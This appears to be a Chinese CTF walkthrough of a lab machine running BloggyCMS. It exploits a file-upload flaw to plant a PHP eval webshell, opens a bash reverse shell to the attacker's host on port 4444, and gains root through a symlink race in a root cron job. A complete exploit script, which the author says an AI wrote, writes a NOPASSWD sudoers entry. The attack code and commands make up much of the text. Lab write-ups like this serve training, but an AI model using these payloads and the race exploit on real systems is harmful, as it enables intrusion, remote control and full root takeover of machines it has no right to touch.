Rus_hollow
靶机环境:
192.168.56.121

信息收集
nmap

开放22、80
打开web界面
发现是一个空白界面

查看源码以及标题可以发现这是一个cms系统BloggyCMS 然后就没有什么了 用dirsearch扫描以下目录 不加过滤 会看到很多302 我们只需要看200就可以了
dirsearch -u http://192.168.56.121/ -i 200

/admin/login /archive /LICENSE /login /login/ /posts /README.md /register /storage/ /system/ /tags /templates/ /uploads/
/form/contact
然后我们注册的时候会发现跳转到rus.dsz中

我们添加到host中 如果需要在虚拟机访问的话 也要在/etc/hosts添加记录 我这边用wsl直接添加windows本地的host就好
文件上传拿到www权限 user.txt
然后再/form/contact看到一个上传文件的接口

猜测可以上传一句话木马
cmd.php
GIF89a<?php@eval($_POST['cmd']);echo('123');?>发现上传成功
我们可以在暴露的uploads接口中拿到地址
http://rus.dsz/uploads/forms/2026-08/1787380324_6a8942645e53c_cmd.php
连接蚁剑 反弹shell
bash -c 'bash -i >& /dev/tcp/192.168.56.120/4444 0>&1'

然后转换一下tty
python3 -c 'import pty; pty.spawn("/bin/bash")'\script -qc /bin/bash /dev/nullexport TERM=xtermexport SHELL=/bin/bash
stty raw -echo; fgreset拿到user.txt

flag{user-7a69386c6b324071d2c5e71e8b834e33}
关于这个题目的文件上传 看下面
代码审计之文件上传
然后具体的上传流程
在暴露的README.md 我们发现暴露了github的地址然后我们从暴露的地址下载源码进行分析 看一下他的上传逻辑是不是有缺陷
https://github.com/sandwichov/BloggyCms/archive/refs/heads/main.zip
然后我直接给ai了 让ai帮忙审计一下 还是太懒了(bushi)
在system/controllers/forms/actions/ProcessForm.php中校验客户端mime
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (!in_array($file['type'], $allowedTypes)) { $errors[$fieldName] = "Разрешены только JPEG, PNG, GIF и PDF файлы";}也就是说我们在content-type中添加’image/jpeg’, ‘image/png’, ‘image/gif’, ‘application/pdf’ 服务端就会判定是图片类型
在 system/controllers/forms/Model.php中
$fileName = time() . '_' . uniqid() . '_' . $this->sanitizeFileName($file['name']); $filePath = $fullPath . '/' . $fileName;
if (move_uploaded_file($file['tmp_name'], $filePath)) { ... }保存路径:
$uploadPath = ROOT_PATH . '/uploads/forms';$monthDir = date('Y-m');$fullPath = $uploadPath . '/' . $monthDir;最终文件路径类似:
/uploads/forms/2026-08/时间_随机_hollow.php也就是说上传后会保留后缀名
然后因为上传到的路径我们web可以访问到 所以可以执行php
然后在system/helpers/FormRenderer.php中我们发现一个隐藏的校验逻辑
$fileExtension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); $fileMime = mime_content_type($file['tmp_name']);
if (!in_array($fileExtension, $allowedTypes) && !in_array($fileMime, $allowedTypes)) { return "Разрешены только файлы типов: " . implode(', ', $allowedTypes); }具体意思就是扩展名和MIME只要一个通过就允许上传 所以符合文件上传漏洞
通过竟态提权到root
在定时任务/etc/cron.d/bloggy-audit中发现

每分钟执行/usr/local/bin/bloggy_audit.sh
我们查看/usr/local/bin/bloggy_audit.sh这个文件
#!/bin/bash# 收集站点表单目录下的日志文件内容,写入审计日志OUT=/opt/bloggycms/storage/audit.logmkdir -p /opt/bloggycms/storagechown www-data:www-data /opt/bloggycms/storagecd /opt/bloggycms/uploads/forms
[ -L "$OUT" ] && exit 2DATA=$(find . -type f -name "*.log" -exec cat {} +)printf "%s\n" "$DATA" > "$OUT"这个文件的意思就是检测audit.log是不是软连接是就退出
不是的话把uploads/from文件夹下面的.log文件写到audit.log中
uploads/from这个文件夹是我们可写的
但是在代码
[ -L "$OUT" ] && exit 2DATA=$(find . -type f -name "*.log" -exec cat {} +)printf "%s\n" "$DATA" > "$OUT"这里检查和写入存在一些漏洞
也就是说他先检测 不是软连接就通过 并执行DATA=$(find . -type f -name “*.log” -exec cat {} +)
但如果此时文件比较多而且大的话 他执行会花费一些时间 我们在这个时间里面可以对这个文件进行软连接操作
符合检查时和使用时之间的竟态
通过这个我们可以在文件/etc/sudoers.d/zz_hollow_wwwdata里面写入www-data ALL=(ALL) NOPASSWD
(前天一不小心把wsl的sudoers删掉了 顺便了解了一些sudoers 然后竟然就碰到了 好巧)
所以利用方式就形成了
- 检查 audit.log 不是软链接
- 中途把 audit.log 换成软链接
- root 写入时跟随软链接写到 /etc/sudoers.d/zz_hollow_wwwdata
然后因为自己的代码能力很差 所以让ai搓了一个exp脚本
#!/bin/bash
BASE="/opt/bloggycms/uploads/forms"RDIR="$BASE/hollow_race"OUT="/opt/bloggycms/storage/audit.log"TARGET="/etc/sudoers.d/zz_hollow_wwwdata"
USER_TO_GRANT="${1:-$(id -un)}"PAD_SIZE="${PAD_SIZE:-80000000}"
echo "[+] current user: $(id)"echo "[+] grant sudo to: $USER_TO_GRANT"echo "[+] payload size: $PAD_SIZE"
if [ ! -w "$BASE" ]; then echo "[-] no write permission on $BASE" exit 1fi
if [ ! -w "$(dirname "$OUT")" ]; then echo "[-] no write permission on $(dirname "$OUT")" exit 1fi
mkdir -p "$RDIR"
echo "[+] creating payload log..."
{ printf "%s ALL=(ALL) NOPASSWD:ALL\n" "$USER_TO_GRANT" yes "# padding" | head -c "$PAD_SIZE" printf "\n"} > "$RDIR/00_payload.log"
echo "[+] payload: $RDIR/00_payload.log"echo "[+] target : $TARGET"
# 先确保 audit.log 是普通文件,避免 cron 一开始检查到软链接直接退出rm -f "$OUT" 2>/dev/null: > "$OUT" 2>/dev/null
echo "[+] waiting for root cron: bloggy_audit.sh"echo "[+] this may take up to 2 minutes..."
end=$(( $(date +%s) + 180 ))
while [ "$(date +%s)" -lt "$end" ]; do # 等待 cron 进程出现前,一直保持 OUT 是普通文件 rm -f "$OUT" 2>/dev/null : > "$OUT" 2>/dev/null
# 检测 root cron 脚本是否启动 if pgrep -f "[b]loggy_audit.sh" >/dev/null 2>&1; then echo "[+] cron detected, switching audit.log to symlink"
rm -f "$OUT" 2>/dev/null ln -s "$TARGET" "$OUT" 2>/dev/null
# cron 运行期间保持软链接 while pgrep -f "[b]loggy_audit.sh" >/dev/null 2>&1; do sleep 0.02 done
echo "[+] cron finished, checking sudo..."
if sudo -n -l 2>/dev/null | grep -q "NOPASSWD"; then echo "[+] success: sudoers written" sudo -n id exit 0 else echo "[-] not hit this round, retrying..." rm -f "$OUT" 2>/dev/null : > "$OUT" 2>/dev/null fi fi
sleep 0.05done
echo "[-] timeout, race failed. Run it again or increase PAD_SIZE."exit 1执行

成功
拿到flag

flag{root-a5249a8e70de72bb86a5a243f4e7ae47}
flag{user-7a69386c6b324071d2c5e71e8b834e33}
如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时